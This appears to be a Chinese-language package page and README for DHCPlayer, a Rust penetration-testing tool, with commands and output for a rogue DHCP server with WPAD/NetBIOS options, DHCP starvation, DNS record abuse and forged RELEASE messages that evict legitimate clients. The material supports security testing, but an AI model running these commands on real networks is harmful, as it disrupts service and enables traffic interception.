10 个版本

0.1.9 2023年11月28日
0.1.8 2023年3月17日
0.1.4 2021年5月27日

#736 in 网络编程

AGPL-3.0

110KB
3K SLoC

DHCPlayer

Crates.io Language Rust

DHCPlayer 是一个利用 DHCP 协议执行多种操作的工具,既可以作为客户端也可以作为服务器。它允许您执行简单的 DHCP 请求,也可以执行一些已知的攻击,如 DHCP 饥饿攻击或设置恶意的 DHCP 服务器。

为了运行 dhcplayer,您需要 root 权限以便创建原始套接字。

安装

安装

$ cargo install dhcplayer

DHCP 服务器

您可以使用 server 命令创建 DHCP 服务器。在服务器中,您可以使用参数配置以下选项

  • 可用 IP 范围
  • 广播地址
  • 子网掩码
  • 路由器/网关 IP(默认为您的 IP)
  • DNS 服务器 IP(默认为您的 IP)
  • WPAD 文件(默认禁用)
  • NetBIOS/WINS 命名服务器(默认禁用)
$ sudo dhcplayer server -I eth0 -v --dns 192.168.122.5 --wpad http://wpadserver.local/wpad.dat --netbios 192.168.122.4 --start-ip 192.168.122.60 --end-ip 192.168.122.70
INFO - IP pool: 192.168.122.61-192.168.122.69
INFO - Mask: 255.255.255.0
INFO - Broadcast: 192.168.122.70
INFO - DHCP: 192.168.122.81
INFO - DNS: [192.168.122.5]
INFO - Router: [192.168.122.81]
INFO - Netbios: [192.168.122.4]
INFO - WPAD: http://wpadserver.local/wpad.dat
INFO - DISCOVER from 52:54:00:97:9a:b7
INFO - Offer 192.168.122.69
INFO - REQUEST from 52:54:00:97:9a:b7
INFO - Requested IP 192.168.122.69
INFO - ACK to 192.168.122.69 for 52:54:00:97:9a:b7

饥饿攻击

您可以使用 starv 命令对 DHCP 服务器发起 DHCP 饥饿攻击。

starv 命令将请求网络中 DHCP 服务器提供的所有可用 IP 地址。如果您只想针对特定的服务器,可以使用 servers 参数。

$ sudo dhcplayer starv -I eth0 --server 192.168.122.1
192.168.122.80 90:25:4f:b0:51:04
192.168.122.118 eb:a3:fd:f4:26:d5
192.168.122.134 c6:f3:bd:ae:d9:ae
...

要停止攻击,请按 Ctrl-C。攻击停止后,默认情况下,所有获取的 IP 地址都将释放。如果您不想释放它们,可以使用 -n/--no-release 标志。

发现

发现命令允许您发现并请求 DHCP 服务器提供的 IP 地址。

在基本使用中,该命令将从任何 DHCP 服务器请求一个 IP 地址。如果您想请求特定的服务器,可以使用 server 参数。

$ sudo dhcplayer discover -I eth0
ACK received from 192.168.122.81
Acquired IP: 192.168.122.67
Client MAC: 52:54:00:97:9a:b7
Options:
[54] DHCP Server ID: 192.168.122.81
[51] IP Address Lease Time: 3600
[58] Renewal Time: 1800
[59] Rebinding Time: 3150
[1] Subnet Mask: 255.255.255.0
[28] Broadcast Address: 192.168.122.70
[3] Router: 192.168.122.81
[6] Domain Server: 192.168.122.5

发现 DHCP 服务器

此外,您可以通过不请求 IP 地址来发送 DISCOVER 消息。您可以使用 -n/--no-request 标志来完成此操作。在这种情况下,dhcplayer 将监听网络中所有 DHCP 服务器提供的所有出价,如果网络中有多个 DHCP 服务器。

指定--options all可以从DHCP服务器请求所有信息,这很有用。

$ sudo dhcplayer discover -I eth0 -n --options all

OFFER received from 192.168.122.1
Offered IP: 192.168.122.82
Client MAC: 52:54:00:97:9a:b7
DHCP Server: 192.168.122.1
Options:
[54] DHCP Server ID: 192.168.122.1
[51] IP Address Lease Time: 3600
[58] Renewal Time: 1800
[59] Rebinding Time: 3150
[1] Subnet Mask: 255.255.255.0
[28] Broadcast Address: 192.168.122.255
[3] Router: 192.168.122.1
[6] Domain Server: 192.168.122.1

DNS 动态更新

您可以使用--dns-update标志请求DHCP服务器根据主机名(-H/--hostname)或全限定域名(FQDN)(--fqdn)创建新的DNS A记录。如果您没有指定主机名或FQDN,DNS记录将被删除。

如果更新成功,服务器应在客户端FQDN(81)返回server-update标志。

sudo dhcplayer discover -I eth2 --dns-update -H test # Update based on hostname
sudo dhcplayer discover -I eth2 --dns-update --fqdn test.contoso.local # Update based on fqdn
sudo dhcplayer discover -I eth2 --dns-update # Delete DNS record
$ sudo dhcplayer discover -I eth2 --dns-update -H test
ACK received from 0.0.0.0
Acquired IP: 192.168.100.3
Client MAC: 52:54:00:88:80:0c
Options:
[58] Renewal Time: 345600
[59] Rebinding Time: 604800
[51] IP Address Lease Time: 691200
[54] DHCP Server ID: 192.168.100.2
[1] Subnet Mask: 255.255.255.0
[81] Client FQDN: flags: 0x1 (server-update) A-result: 255 PTR-result: 0 
[3] Router: 192.168.100.2
[15] Domain Name: contoso.local
[6] Domain Server: 192.168.100.2

$ nslookup test.contoso.local 192.168.100.2
Server:		192.168.100.2
Address:	192.168.100.2#53

Name:	test.contoso.local
Address: 192.168.100.3

$ sudo dhcplayer discover -I eth2 --dns-update
ACK received from 0.0.0.0
Acquired IP: 192.168.100.3
Client MAC: 52:54:00:88:80:0c
Options:
[58] Renewal Time: 345600
[59] Rebinding Time: 604800
[51] IP Address Lease Time: 691200
[54] DHCP Server ID: 192.168.100.2
[1] Subnet Mask: 255.255.255.0
[81] Client FQDN: flags: 0x1 (server-update) A-result: 255 PTR-result: 0 
[3] Router: 192.168.100.2
[15] Domain Name: contoso.local
[6] Domain Server: 192.168.100.2

$ nslookup test.contoso.local 192.168.100.2
Server:		192.168.100.2
Address:	192.168.100.2#53

** server can't find test.contoso.local: NXDOMAIN

通知

此外,您可以通过使用discover命令的-i/--inform标志来发送INFORM请求,而不是DISCOVER。

$ sudo dhcplayer discover -I eth0 -i --options wpad,dns --server 192.168.122.1 -v
INFO - INFORM sent - Client MAC 52:54:00:97:9a:b7

ACK received from 192.168.122.1
Acquired IP: 0.0.0.0
Client MAC: 52:54:00:97:9a:b7
Options:
[54] DHCP Server ID: 192.168.122.1
[1] Subnet Mask: 255.255.255.0
[28] Broadcast Address: 192.168.122.255
[6] Domain Server: 192.168.122.1

释放

您可以使用command命令释放您或其他对等方获取的IP。为此,您需要指定要释放的客户端的IP和MAC地址。

您可以使用格式<ip>-<mac>指定IP/MAC对。您可以在命令行中指定这些对,或者通过文件或stdin传递它们。

$ sudo dhcplayer release -I eth2 --server 192.168.100.2 192.168.100.5-ca:2b:d1:21:17:86 192.168.100.7-fe:38:4e:46:95:d6 -v
INFO - RELEASE 192.168.100.5 ca:2b:d1:21:17:86
INFO - RELEASE 192.168.100.7 fe:38:4e:46:95:d6

您还可以将此命令与ARP扫描结合使用,以释放合法客户端的IP。释放客户端可能继续使用其IP,但这些IP可以自由分配给其他对等方,这可能导致网络中出现问题。

$ sudo arplayer scan -I eth2 -w 10 | sudo dhcplayer release -I eth2 --server 192.168.100.2 -v
INFO - RELEASE 192.168.100.1 52:54:00:5b:49:5d
INFO - RELEASE 192.168.100.2 52:54:00:0b:75:57
INFO - RELEASE 192.168.100.7 52:54:00:a4:8c:f2
INFO - RELEASE 192.168.100.5 52:54:00:76:87:bb

免责声明

请勿使用此工具进行不良行为。我不会对我的此工具的行为承担任何责任。

依赖关系

~8–17MB
~225K SLoC